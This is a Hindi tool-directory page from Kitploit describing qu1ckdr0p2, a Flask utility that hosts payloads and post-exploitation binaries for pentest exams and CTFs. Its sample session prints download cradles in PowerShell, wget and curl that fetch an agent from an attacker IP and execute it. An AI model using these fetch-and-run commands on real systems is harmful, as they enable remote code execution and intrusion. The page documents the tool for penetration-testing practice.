Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
qu1ckdr0p2 — Flask का उपयोग करके http या https पर फ़ाइलों को तुरंत serve करें। | Kitploit
उपकरण/GitHubGitHub/byinarie/qu1ckdr0p2
पेलोड जनरेशनपोस्ट-शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubbyinarie/qu1ckdr0p2

qu1ckdr0p2

Flask का उपयोग करके http या https पर फ़ाइलों को तुरंत serve करें।

रिपॉजिटरी देखें
35532 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Python Flask Visual Studio Code

Prettier
License: MIT

परिचय

पेलोड और पोस्ट-एक्सप्लॉइटेशन बाइनरी को HTTP या HTTPS पर तेज़ी से होस्ट करें।

OSCP / PNPT जैसी परीक्षाओं या CTF (जैसे HTB) में उपयोग के लिए डिज़ाइन किया गया।

Pull requests और issues का स्वागत है। किसी भी प्रकार का योगदान स्वीकार्य है।

Qu1ckdr0p2 में एक alias और खोज सुविधा शामिल है। उपकरण qu1ckdr0p2-tools रिपॉजिटरी में स्थित हैं। डिफ़ॉल्ट रूप से, --https विकल्प का उपयोग करते समय यह एक self-signed प्रमाणपत्र उत्पन्न करेगा, और वेबसर्वर चलने पर tun0 इंटरफ़ेस को प्राथमिकता दी जाती है, अन्यथा eth0 का उपयोग होगा।

common.ini फ़ाइल --search और -u विकल्पों में उपयोग किए जाने वाले मैप किए गए alias को परिभाषित करती है।

जब वेबसर्वर चल रहा होता है, तो स्क्रीन पर कई download cradles प्रदर्शित होते हैं जिन्हें कॉपी और पेस्ट किया जा सकता है।

नोट

जब आप किसी download cradle को कॉपी और पेस्ट करते हैं, तो आपके टर्मिनल एमुलेटर के आधार पर आपको उसे चुनने के लिए तुरंत ट्रिपल या डबल क्लिक करना पड़ सकता है। इसे बाद के संस्करण में ठीक किया जाएगा।

इंस्टॉल

pip का उपयोग करना ही इंस्टॉल का समर्थित तरीका है

इस रिपॉजिटरी को क्लोन करके इंस्टॉल करने से शायद कुछ खराब हो सकता है

root@kitploit:~
pip3 install qu1ckdr0p2

echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc

या

echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc

serv init --update

उपयोग

अपनी वर्तमान कार्यशील निर्देशिका में एक फ़ाइल serve करें

root@kitploit:~
$ serv serve -f implant.bin --https 443
root@kitploit:~
$ serv serve -f file.example --http 8080

अपडेट और सहायता

root@kitploit:~
$ serv --help            
Usage: serv [OPTIONS] COMMAND [ARGS]...

  qu1ckdr0p2 के प्रवेश बिंदु में आपका स्वागत है।

Options:
  --debug  डीबग मोड सक्षम करें।
  --help   यह संदेश दिखाएं और बाहर निकलें।

Commands:
  init   अपडेट करें।
  serve  फ़ाइलें serve करें।
root@kitploit:~
$ serv serve --help
Usage: serv serve [OPTIONS]

  फ़ाइलें serve करें।

Options:
  -l, --list         Aliases सूचीबद्ध करें
  -s, --search TEXT  Aliases के लिए खोज क्वेरी
  -u, --use INTEGER  किसी alias का एक डायनामिक नंबर द्वारा उपयोग करें
  -f, --file FILE    कोई फ़ाइल serve करें
  --http INTEGER     कस्टम पोर्ट के साथ HTTP का उपयोग करें
  --https INTEGER    कस्टम पोर्ट के साथ HTTPS का उपयोग करें
  -h, --help         यह संदेश दिखाएं और बाहर निकलें।
root@kitploit:~
$ serv init --help       
Usage: serv init [OPTIONS]

  अपडेट करें।

Options:
  --update            लापता उपकरणों को जांचें और डाउनलोड करें।
  --update-self       pip का उपयोग करके टूल अपडेट करें।
  --update-self-test  डेव परीक्षण के लिए उपयोग किया जाता है, अस्थिर बिल्ड इंस्टॉल करता है।
  --help              यह संदेश दिखाएं और बाहर निकलें।
root@kitploit:~
$ serv init --update
root@kitploit:~
$ serv init --update-self

किसी mapped alias से फ़ाइल serve करें

-u विकल्प के लिए मैप किए गए alias नंबर डायनामिक हैं, इसलिए आपको विशिष्ट नंबर याद रखने या कभी टूल का नाम टाइप करने की आवश्यकता नहीं है।

root@kitploit:~
$ serv serve --search ligolo               

[→] पथ: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] उपयोग करें: 1

[→] पथ: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] उपयोग करें: 2

[→] पथ: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] उपयोग करें: 3

[→] पथ: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] उपयोग करें: 4
(...)
root@kitploit:~
$ serv serve --search ligolo -u 3 --http 80

[→] Serve कर रहा है: ../../.qu1ckdr0p2/linux/agent
[→] प्रोटोकॉल: http
[→] IP पता: 192.168.1.5
[→] पोर्ट: 80
[→] इंटरफ़ेस: eth0
[→] बंद करने के लिए CTRL+C दबाएँ

[→] URL: http://192.168.1.5:80/agent

[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'

[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent

⠧ वेब सर्वर चल रहा है

लाइसेंस

MIT

टूल डाउनलोड करें